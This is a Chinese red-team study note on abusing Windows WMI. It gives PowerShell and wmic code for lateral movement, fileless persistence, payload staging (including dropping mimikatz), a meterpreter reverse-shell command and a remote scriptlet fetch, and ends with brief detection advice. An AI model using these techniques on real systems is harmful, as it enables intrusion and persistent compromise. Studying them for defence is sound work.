本文作者:伍默(内网知识星球学员)
本文是以WMI的重写版,本来这份笔记会更长,原版的笔记以Black Hat 2015的Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor为主要学习资料,在笔记写到大概一万字的时候,Typora 中保存的内容部分丢失。于是重新整理,有了这份,我认为精简版的WMI笔记。
WMI 背景
WMI 是什么?Windows管理规范(WMI)是Microsoft对基于Web的业务管理标准(WBEM),公共信息模型(CIM)和分布式管理任务组(DMTF)的实现。
换句话说:Microsoft CIM WBEM DMTF = WMI
打开MSDN 中关于WMI的描述是这样:
- Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems。 Windows管理工具(WMI)是基于Windows操作系统的管理数据和操作的基础设施。
快速的过一下这部分内容的重点:
- WMI实际上的历史非常久远,最早在Windows 2000中内置,后面所有的Windows 系统中都内置了该项服务。
- WMI使用公共信息模型 (CIM) 表示托管组件,其中包括系统、应用程序、网络等等
- CIM中使用 “Class"(类)表示管理对象,类的实例是“Object”,名称空间(Namespace)是一个类的集合。类包含属性(Property)和方法(Method)。
- WMI支持Schema的概念。Schema 是描述特定管理环境的一组类。Microsoft Windows SDK 中使用了两个 Schema : CIM Schema 和 Win 32 Schema 。CIM Schema Class 使用 "CIM_" 开头,Win32 Schema Class 使用 "Win32_" 开头。
和WMI交互
在开始WMI之前,我建议 WmiExplorer 查看 自己机器上的Namespaces、Class、Property、Method等等,对我说的概念有一个简单的了解,复杂你可能会看着很懵。
为了验证上面我描述的一些内容,我建议WmiExplorer进行查看:
可以注意到前面描述中的Namespace、Class、Properties、Methods……。
实际上和WMI交互有多种方法:
- Powershell
- wmic.exe
- wbemtest.exe
- winrm.exe and winrm.vbs
- WMI Explorer
- WMI Explorer 2.0.0.2
- WMI Explorer
- WMI Tools
- CIM Explorer 2020(收费,但是非常强大,对类进行了中文说明,VBscript、powershell 代码简洁,推荐)
- Windows Script Host Languages(VBScript – JScript)
- IWbem* COM API
- .NET System.Management classes
- Linux:wmic and wmis
另外两个小工具:
- WMI Code Creator 这是微软官方出的一款代码生成器,可生成C#、VB .net 、VB Script代码
- WMIGen 可生成各种变成语言,调用WMI
除了”IWbem* COM API“和”.NET System.Management classes“没有试过,其余的工具均有测试,推荐使用WMI Explorer ,GUI界面非常好用。
WMI Query Language (WQL)
参考:
Querying with WQL
(https://docs.microsoft.com/en-us/windows/win32/wmisdk/querying-with-wql)
WQL (SQL for WMI)
(https://docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi)
WMI 查询语言(WQL)是ANSI SQL 的子集,WQL支持以下的查询:
- Data queries SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>
- Event queries SELECT [Class property name|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLINGINTERVAL] <WHERE [CONSTRAINT]>
- Schema queries SELECT [Class property name|*] FROM [Meta_Class<WHERE [CONSTRAINT]>
详细的语法请参考文档,这里不做过多介绍,用的最多的是 data queries ,请在实际查询中使用,需要明确的是WQL仅能查询,无法使用 Methods 进行增删改等操作。
Remote WMI Protocols
WMI 可以使用两种协议用于Remote WMI:分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。
DCOM
- Microsoft 在TCP 135 端口和一系列的动态端口(不同版本不一样) 运行DCE RPC end-point mapper为它的DCOM服务
- 端口可通过注册表项 HKEY_LOCAL_MACHINESoftwareMicrosoftRpcInternet中 的Ports设置
- 可通过DCOMCNFG.exe 配置
- 对防火墙不友好(使用 TCP 135和一系列动态端口 1024 到 65535)
- 默认情况下 Wmi Service ——Winmgmt 在135端口下运行和监听
WinRM/PowerShell Remoting
参考:
About Windows Remote Management(https://docs.microsoft.com/en-us/windows/win32/winrm/about-windows-remote-management)
- 实验之前,请务必阅读一遍官方官方文档,哪怕是草草看过。
介绍Windows Remote Management(Winrm)之前,先了解WS-Management ,Ws-Man 协议是基于SOAP协议的DMTF开放标准,WinRM则是对WS-Man协议的 Windows 实现。
- DMTF是不是感觉有点耳熟?前面说WMI背景中就提到过。
- 默认情况下,从Windows Vista开始成为Windows 的默认组件,从Windows Server 2008 开始, WinRM服务自动启动
- 默认情况下,未配置WinRM侦听器,即使WinRM服务在运行,无法接受和请求WS-Man 协议消息
- Ws-Man 流量是加密的,不论HTTP 或HTTPS
- 默认配置侦听端口是:HTTP(5985)和HTTPS(5986)
- 注意,这里的默认配置指定是 Winrm quickconfig 之后。
需要明确的是两种协议均支持NTLM or Kerberos,也就是说,Pass The Hash和Pass The Ticket对 Wmi 和WinRM均适用
Powershell-DCOM
从Powershell v3 及后续版本,Powershell 中提供了两种 Cmdlets:
- CIM Cmdlets
- WMI Cmdlets
- 前面我提到过namespace,如果不显式指定,默认namespace 为 rootCIMv2
CIM cmdlets 和WMI Cmdlets 差异在于 CIM Cmdlets 使用WSMAN(WinRM)连接远程计算机,WMI Cmdlets 是所有的是DCOM 连接远程计算机。
- 如果CIM Cmdlets 使用DCOM 无法建立会话,可以使用 -Protocol 参数退回到DCOM
#WMI Cmdlets
$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
#为了避免凭据提示弹框
Get-WmiObject -ComputerName OWA2010SP3 -Credential $Credential -Class
Win32_Process |Select-Object Name,ProcessId
#这里枚举了下进程
#另外支持WQL查询
Get-WmiObject -Query "select * from Win32_Process" |Select-Object Name,ProcessID
#该命令和上面的效果相同
Powershel-WinRM
#CIM cmdlets
$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CimSessionOption = New-CimSessionOption -Protocol Dcom
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential -SessionOption $CimSessionOption
Powershel-WinRM
代码语言:javascript复制ls wsman:localhost #查看本地计算机WSman提供程序的目录层次结构
#需管理员权限
代码语言:javascript复制$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential
Get-CimInstance -CimSession $CimSession -ClassName Win32_Process |Select-ObjectName,ProcessId
WMI Eventing
WMI 事件订阅是订阅某些系统事件的方法。
WMI Eventing 有两种:
- Single process context (本地的单个进程上下文)
- Permanent WMI Event Subscriptions(永久的WMI 事件订阅)
重点放在Permanent WMI Event Subscriptions上,永久的WMI 事件订阅存储在WMI repository,系统关键/重启之后任然存储着,并且,永久的WMI事件订阅是以System权限运行的。
- 提一个,WMI repository 的所在目录为 %SystemRoot%System32wbemRepositoryOBJECTS.DATA
WMI Eventing 包含3个组件(同时也是3类):
Event Filter
Event Filter 是一个WQL 查询,它描述了感兴趣的事件。有两种类型:
- Intrinsic Events(内部事件):轮询事件间隔内触发的事件
- Extrinsic Events (外部事件):实时过滤器,事件发生时立刻被触发 重复一遍,这里不会有大量的细节,甚至略过了非常多的内容,如细节指出有误请务必指出。
Event Consumer
Event Consumer 是触发事件是要执行的操作,提供了5个类:
- ActiveScriptEventConsumer:执行嵌入的VBScript/JSCript
- CommandLineEventConsumer:执行指定的二进制或者命令行 前面两个类是各类攻击中主要使用的类
- LogFileEventConsumer:写入指定的日志文件
- NTEventLogEventConsumer:将消息记录到应用程序EventLog中
- SMTPEventConsumer:每当事件被送达时,适用SMTP发送一封邮件
Filter to Consumer Binding
Filter to Consumer Binding 是将 Filter 绑定到 Consumer 的注册机制
以上3种角色具体到WMI中体现为类,可查询判断是否添加生成:
代码语言:javascript复制Get-WMIObject -Namespace rootSubscription -Class __EventFilter
Get-WMIObject -Namespace rootSubscription -Class __EventConsumer
Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding
#注意名称空间参数
WMI Attacks
从攻击者的角度包括不限于可以做到以下这些:
- Reconnaissance
- VM/Sandbox Detection
- Code execution and lateral movement
- Persistence
- Data storage
- C2 communication
Reconnaissance
代码语言:javascript复制Host/OS information: ROOTCIMV2:Win32_OperatingSystem
Win32_ComputerSystem, ROOTCIMV2:Win32_BIOS
File/directory listing: ROOTCIMV2:CIM_DataFile
Disk volume listing: ROOTCIMV2:Win32_Volume
Registry operations: ROOTDEFAULT:StdRegProv
Running processes: ROOTCIMV2:Win32_Process
Service listing: ROOTCIMV2:Win32_Service
Event log: ROOTCIMV2:Win32_NtLogEvent
Logged on accounts: ROOTCIMV2:Win32_LoggedOnUser
Mounted shares: ROOTCIMV2:Win32_Share
Installed patches: ROOTCIMV2:Win32_QuickFixEngineering
Installed AV: ROOTSecurityCenter[2]:AntiVirusProduct
#查询对应的类即可,灵活运用Select-Object Format-List Format-Table cmdlets
这里提一下wmic,可能大家经常使用
wmic qfe get Caption,Description,HotFixID,InstalledOn
进行补丁的查询,Powershell cmdlets 着是这样的:
代码语言:javascript复制Get-CimInstance -ClassName Win32_QuickFixEngineering
MSDN有提到“wmic 中的 alias 是对 class 、property、method 的友好重命名”,你可以用 wmic alias qfe list brief 验证这一点:
WMI Attacks – VM/Sandbox Detection
代码语言:javascript复制SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648
SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2
可通过内存与处理器的数量来判断是否为VM/Sandbox ,不排除高配置的VM/Sandbox
代码语言:javascript复制$VMDetected = $False
$Arguments = @{
Class = 'Win32_ComputerSystem'
Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}
if (Get-WmiObject @Arguments) { $VMDetected = $True }
echo $VMDetected = $False
#查看$VMDetected 是否为True
WMI Attacks – VM/Sandbox Detection (VMware)
如果VM/Sandbox 是VMware 的产品,可以从Vmware的一些特征查询:
代码语言:javascript复制SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%"
SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%"
SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe"
SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%"
#如果任意一条语句查询出结果,当前机器大概率是Vmware 的 VM/Sandbox
在Powershell 中是这样的:
- 后面不在啰嗦, 只要理解这个类的查询逻辑,就很容易理解命令, Get-WmiObject 本质上也是 使用了WQL查询,并且 也支持 -query 参数直接使用WQL查询。
$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE
"%VMware%" OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True }
echo $VMDetected = $False
#注意几个WQL查询之间的逻辑关系为 OR
WMI Attacks – Code Execution and Lateral Movement
这里给出了两种协议的 代码执行和横向移动方式,基本都类似:
支持Kerberos
代码语言:javascript复制$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential
Invoke-CimMethod -CimSession $CimSession -Name Create -ClassName Win32_Process -Arguments @{CommandLine = 'notepad.exe'}
代码语言:javascript复制$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential InvokeWmiMethod -Class Win32_Process -Name Create -ArgumentList 'notepad.exe' -ComputerName OWA2010SP3 -Credential $Credential
WMI Attacks – Persistence
代码语言:javascript复制$filterName = 'EventFilter'
$consumerName = 'ConsumerName'
$exePath = 'C:WindowsSystem32calc.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
#Flter 可以尝试使用其他事件
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace
"rootsubscription" -Arguments @{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL";Query=$Query}
-ErrorAction Stop
#Event Filter
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace
"rootsubscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
#Event Consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
#Filter to Consumer Binding
#需管理员权限
这里使用到的就是WMI Eventing,如果使用WmiExplorer可查看到对应命名空间中创建了新的实例。
适用Process Explorer监控发现calc.exe进程在启动之后,自动结束进程,目前稳定性尚未明确,如果使用来上线,做好进程迁移。
代码语言:javascript复制Remove-CimInstance -Query "Select * from __EventFilter where Name = 'EventFilter'" -Namespace "rootsubscription"
#删除WMIEventFilter
Remove-CimInstance -Query "SELECT * FROM CommandLineEventConsumer WHERE Name='consumerName'" -Namespace "rootsubscription"
#删除WMIEventConsumer
#删除FilterToConsumerBinding发现CIM cmdlets 报错,暂不明确原因,适用WMI cmdlets 解决
Get-WmiObject -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Filter "Consumer='CommandLineEventConsumer.Name='ConsumerName''" |RemoveWmiObject -Verbose
以上是利用 WMI 进行 Persistence 的核心逻辑,很容易找到以下写好的Powershell 脚本:
- https://github.com/n0pe-sled/WMI-Persistence/blob/master/WMI-Persistence.ps1
这里代码太多,直接给了图片,整个脚本逻辑很清晰,只有3个函数Install-Persistence、RemovePersistence、Check-WMI,功能和函数名相同,实际使用时仅需要修改 $Payload 值即可持久化上线。
Powershell并不是唯一的选择,wmic 中也能实现相同的效果:
代码语言:javascript复制wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="EventFilter", EventNameSpace="rootcimv2",QueryLanguage="WQL",
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
ISA 'Win32_PerfFormattedData_PerfOS_System'"
#WMI EventFilter
#系统启动 60秒后触发
wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATE
Name="ConsumerName",
ExecutablePath="C:WindowsSystem32calc.exe",CommandLineTemplate="C:WindowsSy
stem32calc.exe"
#WMI Event Consumer
#我这里我启动的是calc
wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATE
Filter="__EventFilter.Name="EventFilter"",
Consumer="CommandLineEventConsumer.Name="ConsumerName""
#WMI Event FilterToConsumerBinding
WMI Attacks – Data Storage
代码语言:javascript复制$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty',"This is not the malware you're
looking for")
$StaticClass.Put()
#新建本地类存储
#需管理员权限
如何查看其中的值:
代码语言:javascript复制([WmiClass] 'Win32_EvilClass').Properties['EvilProperty']
#具体的获取Value的值
([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value
具体的应用:
代码语言:javascript复制$LocalFilePath = "C:WindowsSystem32calc.exe"
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty',$EncodedFileContentsToDrop)
$StaticClass.Put()
$EncodedPayload=([WmiClass]'Win32_EvilClass').Properties['EvilProperty'].value
#将calc Base64吹后存储在Win32_evilClass 的 EvilProperty 中
#怎么执行?
#这里给出两种执行方式,推荐存储的是powershell脚本,否则执行可能会遇到问题
$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList
$PowerShellPayload
$PowerShellPayload = "cmd /k $EncodedPayload"
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList
$PowerShellPayload
WMI Attacks – C2 Communication (WMI Class) – “Push” Attack
代码语言:javascript复制# Prep file to drop on remote system
$LocalFilePath = 'C:WindowsSystem32calc.exe'
#当然这个路径可以设置一个网络上的路径
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
# Establish remote WMI connection
$Options = New-Object Management.ConnectionOptions
$Options.Username = '0dayAdministrator'
$Options.Password = 'Admin!@#45'
$Options.EnablePrivileges = $True
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\192.168.3.142rootdefault'
$Connection.Options = $Options
$Connection.Connect()
# "Push" file contents
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty,$null)
$EvilClass['__CLASS'] = 'Win32_EvilClass'
$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)
$EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop
$EvilClass.Put()
和上面的Data Storage 相似,不过这里是通过DCOM 远程连接,写入到远程主机的 Class 的 Properties 中,
代码语言:javascript复制$EncodedPayload=([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value
$PowerShellPayload = "cmd /k $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
#需要再 192.168.3.142 上执行,如果通过远程读取,需要对应用户凭据
([WmiClass]'\192.168.3.142:Win32_EvilClass').Properties['EvilProperty'].value
#另外笔者测试手里,如果目标是powershell脚本,推荐是使用下面的代码
$EncodedPayload=([WmiClass] 'Win32_Command').Properties['EvilProperty'].Value
#PowerShell执行命令
$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
注:笔者未复现成功,但是@九世成功了,我的系统是Win 10 1809 ,他的系统大概是Windows Server 2008 R2
不要误会这一节的标题,这里本意是使用利用WMI 构造C2 (下同),但我这里代码的用途仅仅是通过 Class 的 Properties 储存数据。
参考:
WMI Backdoor(https://juejin.im/post/5aa117a1f265da2384402949)
- 务必阅读这篇,该篇说的更为详细
#完整的代码,
# Prep file to drop on remote system
$LocalFilePath=’C:Usersjerrymimikatz.exe’
$FileBytes=[IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop=[Convert]::ToBase64String ($FileBytes)
# Establish remote WMI connection
$Options=New-ObjectManagement.ConnectionOptions
$Options.Username =’0dayAdministrator’
$Options.Password =’Admin!@#45’
$Options.EnablePrivileges =$True
$Connection=New-ObjectManagement.ManagementScope
$Connection.Path =’\192.168.3.142rootdefault’
$Connection.Options =$Options
$Connection.Connect()
# “Push” file contents
$EvilClass=New-ObjectManagement.ManagementClass($Connection,[String]::Empty,$null)
$EvilClass[‘__CLASS’]=’Win32_EvilClass’
$EvilClass.Properties.Add(‘EvilProperty’,[Management.CimType]::String,$False)
$EvilClass.Properties[‘EvilProperty’].Value =$EncodedFileContentsToDrop
$EvilClass.Put()
#$Credential=Get-Credential’WIN-B85AAA7ST4UAdministrator’ 这是原版代码,下面是我修改的代码
$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CommonArgs= @{
Credential =$Credential
ComputerName =’192.168.72.134’
}
# The PowerShell payload that will drop the stored file contents
$PayloadText=@’
$EncodedFile = ([WmiClass] ‘rootdefault:Win32_EvilClass’).Properties[‘EvilProperty’].Value[IO.File]::WriteAllBytes(‘C:UsersAdministratormimikatz.exe‘,[Convert]::FromBase64String($EncodedFile))
‘@
$EncodedPayload=[Convert]::ToBase64String([Text.Encoding] ::Unicode.GetBytes($PayloadText))
$PowerShellPayload=”powershell -NoProfile -EncodedCommand
$EncodedPayload”
# Drop the file to the target filesystem
Invoke-WmiMethod @CommonArgs -ClassWin32_Process-Name Create -ArgumentList $PowerShellPayload
# Confirm successful file drop
Get-WmiObject @CommonArgs -Class CIM_DataFile -Filter’Name = ‘C:UsersAdministratormimikatz.exe‘
#远程创建类存储数据,远程使用Powershell读取类中的数据写入到文件系统中
WMI Attacks – C2 Communication (Registry) – “Pull” Attack
代码语言:javascript复制$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CommonArgs = @{Credential =
$Credential
ComputerName = '192.168.3.142'
}
$HKLM = 2147483650
#HKEY_LOCAL_MACHINE = 2147483650(0x80000002)
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM,'SOFTWAREEvilKey'
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM,'SOFTWAREEvilKey','Result'
#在远程主机上新建注册表项和值Result
代码语言:javascript复制$PayloadText = @'
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
#查阅MSDN,发现这是一种序列化对象的方法
$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output)) Set-ItemProperty -Path HKLM:SOFTWAREEvilKey -Name Result -Value $Encoded
'@
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
#序列化后对象之后编码为Base64
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload" Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
$RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM,'SOFTWAREEvilKey','Result'
$EncodedOutput = $RemoteOutput.sValue
$DeserializedOutput = [Management.Automation.PSSerializer]::Deserialize([Text.Encoding]::Ascii.GetString([Convert]::FromBase64String($EncodedOutput)))
#将$EncodedOutput 解码,进行反序列化,笔者测试失败,遇到错误,有成功运行的师傅麻烦指教下。
WMI Attacks – Stealthy Command “Push”
上面例子中基本调用的是 powershell或cmd,在笔者其他篇中提到过ELK配合sysmon,查找这类攻击很容易,在Command-line中查找即可,还记得前面的脚本EventConsumer使用的都是CommandLineEventConsumer,但是没有使用 ActiveScriptEventConsumer,如果使用该类执行 VBScript,则只会启动WMI脚本宿主进程:
代码语言:javascript复制%SystemRoot%system32wbemscrcons.exe -Embedding
- 和原演讲PPT有区别,这部分是我在阅读其他师傅的博客得到的表述,其实和利用WMI 永久事件 订阅相同,只不过其中 `CommandLine 变为执行脚本。 如何构造VBScript?相关框架可以自动生成,比如MSF。
整个过程看起来是这样:
- Event filter example: __IntervalTimerInstruction(可选择其他事件过滤器)
- Event consumer – ActiveScriptEventConsumer
- Event FilterToConsumerBinding
等待Payload 执行,删除永久的WMI 事件订阅(也就是3个组件的类的实例),payload是由WMI脚本 宿主进程启动。
没有代码
WMI Providers
参考:WMI Providers
(https://docs.microsoft.com/en-us/windows/win32/wmisdk/developing-a-wmi-provider)
如果你注意到MSDN 文档,WMI Providers 有着详细的开发文档(最常见的是笔记本厂商往往会扩展 WMI Providers),如果构造出恶意的 WMI Providers 就能执行payload或者获取用户的数据。
笔者这反面了解甚少,这里演讲者推荐了几个项目
- EvilWMIProvider(已404) (https://github.com/subTee/EvilWMIProvider)
- EvilNetConnectionWMIProvider(最后一次更新是5年前) (https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider)
枚举 WMI Providers:
- Get-WmiProvider.ps1 (https://gist.github.com/mattifestation/2727b6274e4024fd2481)
PoC WMI Backdoor
掠过,WMI Backdoor 未放出源代码,因此给出的函数实际意义不大。
Attack Defense and Mitigations
参考:Tales of a Threat Hunter 2
(https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/)
检测
- Powershell或其他工具查询对应的类:Filter、consumer 、FilterToConsumerBinding
- Autoruns(GUI 界面的WMI菜单栏)
相关文章:透过Autoruns看持久化绕过姿势的分享(一)
(https://www.freebuf.com/articles/network/164252.html)
防御
所有的系统行为都可以引发一个事件,包括前面的创建/删除WMI 永久事件订阅、修改注册表、安装 WMI Providers 都会触发对应的事件。
- 具体的事件请使用 Get-WmiObject -Class *__*event* -list 查看。
笔者的思路为:注册对应的WMI 永久事件订阅,来监控对应的事件,动作设置为写入日志或其他(列如通知)
注:删除WMI 永久事件订阅本身也可以触发事件
缓解措施
- 禁用WMI服务:可以会影响依赖该服务的应用
- 防火墙限制端口
- 日志
由于WMI 服务涉及 WinRM和DCOM,所以需要查看3种服务的日志,比较推荐使用sysmon 捕获日志
- Microsoft-Windows-WinRM/Operational
- Microsoft-Windows-WMI-Activity/Operational
- Microsoft-Windows-DistributedCom
相关项目:WMI_Monitor(https://github.com/realparisi/WMI_Monit)
各类工具
参考:Persistence – WMI Event Subscription
(https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/)
- WMImplant(https://github.com/n0pe-sled/WMI-Persistence)
- WMIOps(https://github.com/FortyNorthSecurity/WMIOps)
- Metasploit 中的 puts generate_mof use exploit/windows/smb/psexec irb puts generate_mof("Metasploit1","notepad.exe") #生成恶意mof文件 #命令部分自定义,例如 regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll #在目标Windows 机器上使用自带的 mofcomp.exe .Metasploit.mof 编译 #如果你愿意阅读下生成的mof文件的代码,核心部分是通过Jscript调用wmi,扩展 Win32Provider,构造WMI 永久事件订阅 #考虑进程迁移 这种方式父进程是 %SystemRoot%system32wbemscrcons.exe -Embedding
- msfvenom SharpShooter WMIPersistence csc msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=4444 -f raw -o payload.bin python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload.bin #@冷逸指出有可能是Outlook.CreateObject() COM 导致的失败 base64 -i output/implantvbs.vbs > ./payload.txt cd C:WindowsMicrosoft.NETFramework64v3.5 # csc.exe WMIPersist.cs /r:System.Management.Automation.dll #windows 中编译 #目标执行,笔者测试为复现成功
PoshC2 中Invoke-wmievent
* Metasploit 中的`exploit/windows/local/wmi_persistence`,默认 Filter 是出现4625事件,4625事件是登录失败( runas 输入错误账户密码即可导致该事件 )
* Empire 中 `persistence/elevated/wmi`,同样是 4625 事件触发,`persistence/elevated/wmi_updater`可以从远程获取 payload,注册的 WMI 永久事件订阅 默认Name 为`AutoUpdater`
## 更多的资料
[Abusing Windows Management Instrumentation (WMI) to Build a Persistent,Asyncronous, and Fileless Backdoor](https://www.blackhat.com/docs/us15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-ToBuild-A-Persistent Asynchronous-And-Fileless-Backdoor-wp.pdf)
[THERE’S SOMETHING ABOUT WMI](https://www.fireeye.com/content/dam/fireeyewww/services/pdfs/sans-dfir-2015.pdf)
[Windows管理规范(WMI)指南:了解WMI攻击](https://www.varonis.com/blog/wmi-windowsmanagement-instrumentation/)
[Command and Control – WMI](https://pentestlab.blog/2017/11/20/command-andcontrol-wmi/)
[WMI 101 for Pentesters](https://www.ethicalhacker.net/features/root/wmi-101-for-pentesters/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed: ehnet (The Ethical Hacker Network - Online Magazine))
[Handling Events with PowerShell and WMI]
(https://www.scriptrunner.com/en/blog/events-powershell-wmi/)
[Blue Team Hacks - WMI Eventing]
(https://mgreen27.github.io/posts/2017/04/03/Blue_Team_Hacks-WMI_Eventing.html)
[WMI vs. WMI: Monitoring for Malicious Activity]
(https://www.fireeye.com/blog/threat-research/2016/08/wmi_vs_wmi_monitor.html)
比较好的中文资料
[Windows WMI技术总结]
(http://1sparrow.com/2019/12/10/Windows WMI技术总结/)
[wmic命令解析与实例]
(https://weiyigeek.top/2019/5/wmic命令解析与%
E5��例.html)
> 完美的介绍了wmic命令的各种应用,用户管理、组管理、加域、配置ip、注册表编辑等等
以及三好学生的几篇博文
[WMI Attacks](http://drops.xmd5.com/static/drops/tips-8189.html)
[WMI Backdoor](https://juejin.im/post/5aa117a1f265da2384402949)
[WMI Defense](https://wooyun.js.org/drops/WMI Defense.html)
[Study Notes of WMI Persistence using wmic.exe]
(https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/)
[WSC、JSRAT and WMI Backdoor]
(https://wooyun.js.org/drops/WSC、JSRAT and WMI Backdoor.html)
FireEye 报告的译文
[WMI的攻击,防御与取证分析技术之攻击篇]
(https://wooyun.js.org/drops/WMI 的攻击,防御与取证分析技术之攻击篇.html)
[WMI 的攻击,防御与取证分析技术之防御篇](http://drops.xmd5.com/static/drops/tips10346.html)